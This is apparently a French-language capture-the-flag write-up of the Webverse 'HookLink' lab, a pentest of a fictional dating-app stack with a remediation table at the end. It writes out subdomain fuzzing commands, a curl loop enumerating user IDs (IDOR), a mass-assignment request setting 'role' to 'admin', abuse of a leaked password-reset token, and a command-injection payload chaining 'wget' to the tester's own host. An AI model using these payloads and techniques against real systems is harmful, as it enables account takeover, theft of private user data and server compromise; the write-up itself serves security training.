Range HookLink : 7 Flags sur une Stack Multi-Services de Dating App
Pentest complet d'une stack multi-services d'application de rencontres : IDOR sur l'API utilisateurs et les photos privées, Mass Assignment pour élévation de rôle en admin, token de réinitialisation leaké dans la réponse JSON, accès à la console interne Trust and Safety, et OS Command Injection sur un formulaire de signature.

Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | Webverse |
| Cible | hooklink.local et ses sous-domaines |
| Stack | Site marketing, app de dating, API, photos, abonnements, console interne |
| Lien | Accéder au lab |
| Difficulté | Medium |
Scénario : HookLink est une application de rencontres de Miami qui fait tourner une stack multi-services : un site marketing, l'application de dating et son API, un service photo, un service d'abonnements premium et une console interne Trust and Safety. Sept flags, un seul engagement. L'objectif est de commencer en visiteur anonyme et de terminer avec les données sensibles de 180 000 utilisateurs.
Flags :
| # | Nom | Technique |
|---|---|---|
| 1 | Walk the guest list | IDOR sur /api/users/{id} |
| 2 | Left in the open | IDOR sur photos privées |
| 3 | Return to sender | Password reset token leaké en JSON |
| 4 | Crossed paths | (source externe, voir section dédiée) |
| 5 | Backstage pass | Accès console admin via Mass Assignment |
| 6 | Everywhere you've been | Rapport utilisateur dans la console mod |
| 7 | Everyone, all at once | OS Command Injection sur le formulaire export |
Kill chain :
Découverte sous-domaines : www, app, premium, mod
│
▼
app → inscription → IDOR /api/users/{id} → Flag 1
│ (+ media.hooklink.local découvert)
▼
media → IDOR photos privées → Flag 2
│
▼
app → password reset token leak → Jordan → Flag 3
│
▼
[Flag 4 → source externe]
│
▼
app → Mass Assignment → rôle admin → accès mod
│
▼
mod → onglet System → Flag 5
mod → rapport Jordan → Flag 6
mod → OS Command Injection → Flag 7
1. Reconnaissance
rustscan -b 500 -a hooklink.local -- -sC -sV -Pn

Un seul port ouvert : 80/tcp, nginx. Toute la surface d'attaque est sur le web. L'existence de plusieurs services distincts dans le briefing suggère immédiatement une architecture multi-sous-domaines.
2. Enumération des Sous-Domaines
On commence par déterminer la taille de réponse pour un sous-domaine inexistant, afin de construire le filtre FFUF :
curl -s -o /dev/null -w "%{size_download}" \
-H "Host: fake123.hooklink.local" http://hooklink.local
145
La réponse pour tout sous-domaine inexistant fait exactement 145 octets. On filtre sur cette taille :
ffuf -u "http://hooklink.local" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.hooklink.local" \
-fs 145
Output :
www [Status: 200, Size: 10353, Duration: 274ms]
app [Status: 302, Size: 28, Duration: 154ms]
premium [Status: 302, Size: 197, Duration: 143ms]
mod [Status: 302, Size: 32, Duration: 152ms]
Quatre sous-domaines découverts. On ajoute tous dans /etc/hosts :
echo "10.100.0.x www.hooklink.local app.hooklink.local premium.hooklink.local mod.hooklink.local" \
| sudo tee -a /etc/hosts
Analyse de chaque sous-domaine :
| Sous-domaine | Status | Rôle présumé |
|---|---|---|
www | 200 | Site marketing public |
app | 302 | Application de dating (redirection vers login) |
premium | 302 | Service d'abonnements |
mod | 302 | Console interne Trust and Safety (redirection, accès restreint) |
On commence par app.hooklink.local, le cœur de l'application.
3. app.hooklink.local - Partie 1
Inscription et Content Discovery
On crée un compte sur app.hooklink.local et on lance un Feroxbuster authentifié :
feroxbuster \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u "http://app.hooklink.local" \
-H "Cookie: hooklink_session=<token>"
Output (endpoints pertinents) :
200 GET http://app.hooklink.local/discover
200 GET http://app.hooklink.local/nearby
200 GET http://app.hooklink.local/matches
200 GET http://app.hooklink.local/messages
200 GET http://app.hooklink.local/me
200 GET http://app.hooklink.local/forgot
200 GET http://app.hooklink.local/api/users/me
200 GET http://app.hooklink.local/api/inbox
200 GET http://app.hooklink.local/api/matches
200 GET http://app.hooklink.local/api/conversations
200 GET http://app.hooklink.local/js/app.js
200 GET http://app.hooklink.local/profile/$m.other_id
Deux endpoints API retournent des données en JSON : /api/users/me et /api/matches. L'endpoint /api/users/me retourne notre profil complet. La structure du chemin suggère un pattern /api/users/{id}.
Flag 1 : Walk the guest list (IDOR)
En naviguant sur l'application, on remarque que les profils des autres utilisateurs sont accessibles via des IDs entiers :
http://app.hooklink.local/profile/104

Si les profils sont accessibles par ID entier via l'interface, le même pattern s'applique probablement à l'API comme on l'avait dit plus haut. On teste :
GET /api/users/1 → profil de l'utilisateur 1
GET /api/users/2 → profil de l'utilisateur 2
...
On inspecte la réponse de /api/users/104 :

La réponse contient notre profil et révèle un sous-domaine supplémentaire : media.hooklink.local, utilisé pour héberger les photos des utilisateurs.
On ajoute media.hooklink.local dans /etc/hosts.
C'est une vulnérabilité IDOR (Insecure Direct Object Reference) : l'API expose des données utilisateur sans vérifier que le demandeur est bien l'utilisateur concerné. N'importe quel utilisateur authentifié peut lire le profil de n'importe quel autre en incrémentant l'ID.
On écrit un script bash pour cartographier les 200 premiers comptes et chercher un compte admin :
for id in $(seq 200); do
curl -s \
-H "Host: app.hooklink.local" \
-b cookies.txt \
http://hooklink.local/api/users/$id >> resultats.txt
done
On cherche le flag dans les résultats :
grep "HOOKLINK" resultats.txt

Flag 1 : Walk the guest list récupéré via l'énumération IDOR.
Mass Assignment : Élévation de Rôle en Administrateur
Sur la page de profil, un champ role est affiché avec la valeur user. Ce champ n'a pas été renseigné lors de l'inscription, donc il est retourné par l'API dans la réponse du profil.

Hypothèse : si le rôle est affiché depuis l'API, peut-être que la route de mise à jour du profil accepte aussi ce champ en écriture sans le filtrer.
Mass Assignment est une vulnérabilité qui survient quand une API accepte et persiste des champs non prévus dans une requête de mise à jour. Le développeur pense protéger certains champs, mais l'API en accepte en réalité plus que ce qui était voulu.
On capture la requête de mise à jour du profil dans Burp Suite et on y ajoute le champ role :

PATCH /api/users/me HTTP/1.1
Host: app.hooklink.local
Cookie: hooklink_session=<token>
Content-Type: application/json
{"bio":"test","role":"admin"}
On envoie :

L'API accepte le champ role et le met à jour. On recharge la page :


On est redirigé directement vers mod.hooklink.local, la console interne Trust and Safety. On y reviendra après avoir exploré media.hooklink.local.
4. media.hooklink.local - Flag 2 : Left in the open (IDOR photos)
En inspectant le code source de la page profil d'un utilisateur sur app.hooklink.local, on repère ce snippet JavaScript :

const priv = (await api("/api/photos/" + id + "/private")).data;
Les photos sont hébergées sur media.hooklink.local sous le format :
http://media.hooklink.local/photos/{id}/{visibility}
La visibilité est public ou private. Si l'accès aux photos privées n'est pas contrôlé côté serveur (un autre IDOR), on peut accéder aux photos privées de n'importe quel utilisateur en connaissant son ID.
On teste pour le premier utilisateur :
http://media.hooklink.local/photos/1/private

Un fichier flag.txt est présent dans les photos privées de l'utilisateur 1. On l'ouvre directement :

Flag 2 : Left in the open récupéré via IDOR sur les photos privées.
5. app.hooklink.local - Partie 2 : Flag 3 : Return to sender
L'objectif est d'accéder au compte de l'utilisateur Jordan, dont le profil a été repéré lors de l'exploration précédente. On tente un password reset sur son adresse email.
Hypothèse : après le MFA leak observé sur d'autres labs (BombThreat), on inspecte systématiquement les réponses API lors des resets de mot de passe pour voir si le token est retourné côté client.
On intercepte la requête de réinitialisation avec Burp Suite :

Le token de réinitialisation est directement retourné dans la réponse JSON :
{
"ok":true,
"message": "If an account exists for that address, a reset link is on its way.",
"meta" : {
"request_id" : "577b49064c7c",
"mailer":{
"provider" : "postmark - sandbox",
"status": "queued",
"to":[EMAIL_ADDRESS],
"template": "password-reset",
"preview_url":
"http://app.hooklink.local/reset?token=434..."
}
}
}
Le serveur envoie le token au client dans la réponse de la requête de reset, au lieu de l'envoyer uniquement par email. C'est la même classe de vulnérabilité que le MFA Leak : un secret censé être acheminé via un canal secondaire est exposé dans la réponse HTTP elle-même.
On construit l'URL de reset avec le token récupéré, on l'ouvre dans le navigateur, et on intercepte la requête de changement de mot de passe avec Burp pour définir un nouveau mot de passe :

On se connecte en tant que Jordan. En consultant ses messages :

Flag 3 : Return to sender récupéré dans la boite de messages de Jordan.
6. Flag 4 : Crossed paths
Ce flag a nécessité une consultation externe. Après un blocage prolongé sans trouver le vecteur, la méthodologie a été trouvée sur :
blog.thepentesting.ninja : Webverse HookLink

Je n'ai pas rédigé de méthodologie personnelle pour ce flag car la démarche n'est pas la mienne. C'est un choix d'honnêteté. Consulter un write-up quand on est bloqué n'est pas une faiblesse, c'est de l'apprentissage. Ce qui compte est de comprendre pourquoi ça fonctionne, pas juste de reproduire les commandes.
[!NOTE] La subtilité de Crossed paths illustre un point important : en pentest, les vecteurs les moins évidents sont souvent ceux qui passent entre les mailles des scans automatisés. Une bonne lecture du code source et des comportements de l'application prime sur la quantité d'outils utilisés.
7. mod.hooklink.local - Flags 5, 6 et 7
L'accès à mod.hooklink.local a été obtenu via le Mass Assignment de la section 3.3 (rôle admin sur le compte de l'application de dating).
Flag 5 : Backstage pass
La console Trust and Safety présente une barre de navigation avec plusieurs onglets. On navigue vers l'onglet System :

Flag 5 : Backstage pass récupéré dans l'onglet System.
Flag 6 : Everywhere you've been
On navigue vers l'onglet Reports. Deux rapports sont en attente de traitement :

On ouvre le rapport de Jordan :

Flag 6 : Everywhere you've been présent directement dans le contenu du rapport.
Flag 7 : Everyone, all at once (OS Command Injection)
L'onglet Export présente un formulaire de signature de manifeste :

Une manifest signature est une méthode cryptographique utilisée pour vérifier l'intégrité et l'authenticité d'un ensemble de fichiers. Le système crée des hashes cryptographiques de tous les fichiers, les liste dans un fichier "manifest", puis signe uniquement ce fichier manifest.
Ce qui retient l'attention : la signature est calculée côté serveur et la valeur entrée dans le formulaire devient un paramètre de requête traité côté serveur. Si cette valeur est passée à un appel système sans sanitisation, on a un vecteur d'OS Command Injection.
Vérification :
On met en place un serveur web en écoute sur notre machine :
python3 -m http.server 80
On soumet le payload suivant dans le formulaire :
id; wget http://10.9.0.65/

Notre serveur reçoit la requête GET. La commande wget s'est exécutée côté serveur. La vulnérabilité est confirmée.
[!WARNING] Ce champ utilise probablement un appel système de type
exec("sign_manifest " + param)ou équivalent, où le paramètre est concaténé directement à la commande sans echappement. Le;permet d'enchaîner une deuxième commande après la commande prévue.
On explore le système de fichiers pour trouver le flag :

Le flag est à la racine du système :

Flag 7 : Everyone, all at once récupéré via OS Command Injection.
8. Conclusion et Remédiation
Flags Récapitulatifs
| # | Nom | Sous-domaine | Technique | Complexité |
|---|---|---|---|---|
| 1 | Walk the guest list | app | IDOR /api/users/{id} | Faible |
| 2 | Left in the open | media | IDOR photos privées | Faible |
| 3 | Return to sender | app | Password reset token leaké en JSON | Moyenne |
| 4 | Crossed paths | (multiple) | Source externe | N/A |
| 5 | Backstage pass | mod | Mass Assignment → rôle admin | Moyenne |
| 6 | Everywhere you've been | mod | Accès console admin | Faible |
| 7 | Everyone, all at once | mod | OS Command Injection | Élevée |
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
IDOR /api/users/{id} | N'importe quel utilisateur peut lire le profil de n'importe qui | Vérifier côté serveur que l'ID demandé correspond à l'utilisateur de la session. Utiliser des identifiants non devinables (UUID v4) plutôt que des entiers séquentiels |
| IDOR photos privées | Photos privées accessibles sans vérification du propriétaire | Contrôler l'accès aux ressources privées au niveau du serveur, indépendamment de l'URL. Vérifier que l'utilisateur de la session est bien le propriétaire de la photo |
| Mass Assignment | Le champ role est accepté et persisté lors d'un PATCH profil | Utiliser une liste blanche des champs acceptés (allowlist) dans la couche de validation. Ignorer ou rejeter tout champ non explicitement autorisé en écriture |
| Password reset token leaké | Le token de reset est retourné dans la réponse JSON de la requête | Le token ne doit jamais figurer dans la réponse HTTP. Il doit être envoyé uniquement via le canal secondaire (email). La réponse doit se limiter à confirmer que l'email a été envoyé |
| OS Command Injection (export) | La valeur du formulaire est passée directement à un appel système | Ne jamais construire des commandes shell par concaténation de chaînes. Utiliser des APIs natives de signature plutôt que des appels système externes. Si un appel système est inévitable, utiliser execFile() avec les arguments en tableau |
[!NOTE] Ce range illustre un principe fondamental du pentest d'applications multi-services : la surface d'attaque totale est plus grande que la somme de ses parties. Chaque service pris individuellement semble gérable. Mais l'IDOR sur l'API expose les IDs qui permettent d'explorer
media, le Mass Assignment donne accès àmod, et le token leaké permet de prendre le contrôle d'un compte tiers. Les flags s'enchaînent parce que les services partagent des données et des identifiants sans cloisonnement suffisant.
Writeup rédigé par Zcook
